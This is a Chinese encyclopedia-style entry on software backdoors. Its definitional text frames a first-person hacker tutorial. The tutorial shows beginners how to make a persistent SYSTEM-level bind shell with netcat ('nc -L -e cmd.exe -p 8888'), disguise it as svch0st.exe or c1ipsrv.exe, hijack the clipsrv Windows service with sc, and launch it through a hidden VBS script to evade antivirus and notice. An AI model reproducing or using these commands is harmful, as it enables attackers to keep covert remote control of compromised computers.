後門

后门

软件开发方法
后门,是绕过安全性控制而获取对程序或系统访问权的方法。在软件的开发阶段,程序员常会在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道,或是在发布软件之前没有删除后门,那么它就成了安全风险。后门又称为BackDoor——谈到它,就不得不先提一下相关知识:大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535扇门。为什么需要那么多扇门呢?因为主人的事务很繁忙。
  • 中文名:后门
  • 外文名:Back Door
  • 所属学科:
  • 可以:修改程序中的缺陷
  • 特点:安全风险

术语解释

在软件的开发阶段,程序员常会在软件内创建后门以便可以修改程序中的缺陷。如果后门被其他人知道,或是在发布软件之前没有删除后门,那么它就成安全风险。后门又称为Back Door——一台计算机上有0到65535共65536个端口,那么如果把计算机看作是一间屋子,那么这65536个端口就可以把它看做是计算机为了与外界连接所开的65536扇门。为什么需要那么多扇门呢?因为主人的事务很繁忙,它为了同时处理很多应酬,就决定每扇门只对一项应酬的工作。

所以有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏因为各种原因,有的门在主人都不知道的情形下,却被悄然开启。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼借。这扇悄然被开启的门——“后门”。当然,这只是一个比喻,事实上除了通过端口连接外,也可以通过串/并口,无线设备连接的方式进行入侵,为了行文方便,以下文中的“端口”泛指各种对外接口(interface)。n

打造

大家都知道nc是一个强大并且灵活的黑客工具,用他可以做很多事情,譬如做为telnet的客户端口,譬如入侵的时候反弹回来shell,譬如扫描……但是你有没有想过将他打造成一个服务级的后门呢?现在好多跟我一样的菜鸟还不懂得编程,别人写的流行点的后门又经常被杀,那就跟我一起来自己手工制作一个后门吧,不需要任何编程知识菜鸟级的东东哦。

首先请准备好不被杀的nc.exe(随便加个壳就可以了的),还有sc.exe(这个是操作服务的一个小工具,被人称为操作服务的军刀),这些就可以打造我们自己的后门了,后门的要求我想不需要很强的操作功能,只需要当我们连接的时候获得一个system权限的shell就可以了,有了CMDSHELL做什么不可以呢。如果你需要反弹的后门,也可以做到,自己注册个域名就可以用nc反弹了,因为比较复杂这里就不说了。我们知道nc就是实现我们的后门功能的最经典的工具,我们来看看nc的帮助,命令行下输入nc -h就可以看到,我们主要用到的几个参数如下:

-e 绑定一个程序并且连接时执行

-l 监听模式

-p 指定nc要运行的本地端口

-L 增强了的监听模式,当连接断开时再次监听

至于其他的用法相信各位已经很了解了的,我们以前经常用到的是

nc -l -e cmd.exe -p 8888 监听8888端口,当有连接时重定向到cmd.exe实现绑定一个shell

这样的形式用serveru等溢出程序执行后来绑定一个可以得到shell的端口8888,我们telnet或者nc连接上来的时候就可以直接获得一个shell。但是这样连接断开之后监听的端口就会关闭,是一次性的,不能再次获得shell,这样当然不适合于做后门了。后来发现nc的这个参数L可以一直保持监听的状态,可以反复连接。用

nc -L -e cmd.exe -p 8888 也是绑定的,不过加强了的

这样的命令就已经达到我们的目的了,但是我们往往是在溢出的shell里工作,留后门是为了以后的进入,那我们如何保证nc再机器重起之后还可以工作从而实现我们的后门的目的呢?你可以把他放到注册表的Run等启动项下面,但是感觉那样不是太好,有些地方已经被杀毒软件盯上了,把我的后门放到那里实在不是很放心,后来想到干脆作成服务吧!随着系统启动而启动,呵呵。那就看看如何打造服务吧!

首先我们将nc.exe放到%systemroot%system32下面,起名叫svch0st.exe或者放到%systemroot%system下面更名叫svchost.exe,这样的目的是为了在任务管理器里看不出异样。然后用sc替换系统的服务,不用改别的,只要修改他的执行路径就可以了,我们就改那个clipsrv.exe服务吧!命令如下:

sc config clipsrv start= auto 将clipsrv.exe服务设置为自动

sc config clipsrv binpath= "c:winntsystem32svch0st.exe -L -e cmd.exe -p 8888" 设置clipsrv.exe服务的启动路径为我们的nc

sc start clipsrv 启动clipsrv.exe服务

嘿嘿,但是看看结果吧!看看服务里的显示信息,如图一,很显眼哦!不管,先启动服务然后

netstat -anfind "8888" netstat -an的结果中查找8888看我们的程序是否运行

的确是已经被打开了,但是当显示服务没有响应的时候nc的进程被结束了,这是Windows服务管理机制吧。不是很成功呵,我们继续改造!不懂编程的我们这个时候就会很郁闷,因为不能让服务停止响应的时候我开始想用bat2exe.exe,但是启动服务的时候总是出现拒绝访问的错误,大概是bat2exe出来的exe文件不被系统服务格式所支持,只能想其他的办法了,于是我想到了用Winrar.exe来做我们自己的exe文件,这总该被服务的可执行文件支持吧!

至于如何实现编程里的子进程在父进程终止后仍然可以在内存中运行,我用的方法是写个run.vbs然后用cscript.exe来调用,至于如何调用就可以在自解压格式里设置解压后运行cscript.exe run.vbs,如图三。其中Run.vbs里的内容如下:

dim sh 定义变量

set sh=createobject("wscript.shell") 取得WSH对象

sh.run "nc -L -e cmd.exe -p 8888",0 执行我们的程序并隐藏错误

而自解压的路径写上%systemroot%system32,这样我们自解压服务程序就做好了,保存为c1ipsrv.exe(不好意思,还是用那个1和l的把戏),放到c:winntsystem32目录下面。现在修改我们的clipsrv剪切薄服务的具体路径为c:winntsystem32c1ipsrv.exe,命令如下:

sc stop clipsrv 将clipsrv.exe服务设置为自动

sc config clipsrv start= auto

sc config clipsrv binpath= "c:winntsystem32c1ipsrv.exe" 设置clipsrv.exe服务的启动路径为我们的nc

sc start clipsrv 启动clipsrv.exe服务

现在一切OK了,这样以来我们的程序的参数细节还会被屏蔽,比开始的参数直接放到执行文件路径里好多了。我们来实验下。先net start clipsrv,然后netstat -anfind "8888"看看开没开8888端口,最后用nc 127.0.0.1.8888连接上去得到shell了呵!如图四。好了,快去体验自己动手的快乐哦,你还可以作其他的事情,只要你的服务的程序做的够好,甚至可以用反向回来的nc,具体我就不写了。

本文是我看了韩的一个动画之后想到的,后来自己想到完全可以将nc改成后门的,不过也还是有很大的缺陷,毕竟不是编程,因为不能返回信息给服务控制器,会在日志里留一些错误,不过,有多少人去在意这些错误呢?还有就是没有身份验证功能,不过端口可以自定义不知道算不算一个身份验证。

必要条件

后门产生的必要条件有以下三点:

1.必须以某种方式与其他终端节点相连——由于后门的利用都是从其他节点进行访问,因此必须与目标机使用双绞线、光纤维、串/并口、蓝牙、红外等设备在物理信号上有所连接才可以对端口进行访问。只有访问成功,双方才可以进行信号交流,攻击方才有机会进行入侵。

2.目标机默认开放的可供外界访问的端口必须在一个以上——因为一台默认无任何端口开放的机器是无法连接通信的,而如果开放着的端口外界无法访问,则同样没有办法进行入侵。

3.目标机存在程序设计或人为疏忽,导致攻击者能以权限较高的身份执行程序。并不是任何一个权限的帐号都能够被利用的,只有权限达到操作系统一定要求的才允许执行修改注册表,修改log记录等相关修改。

在生活中,有的人走“后门”,靠关系、金钱、权力等方式进行违法的操作。

Back Orifice是一个用于揭示微软Windows操作系统安全隐患的rootkit程序。这个软件是由微软的BackOffice产品而得名的。由一组被称为cult of the Dead Cow的电脑黑客开发的,Back Orifice允许某些人在一台电脑上控制另一台运行Windows 95或其后的操作系统的电脑。当没有任何防护时,Back Orifice能探测到密码,记录用户的按键情况,进入到一个桌面文件系统或造成其他的破坏。

相关词条

相关搜索

其它词条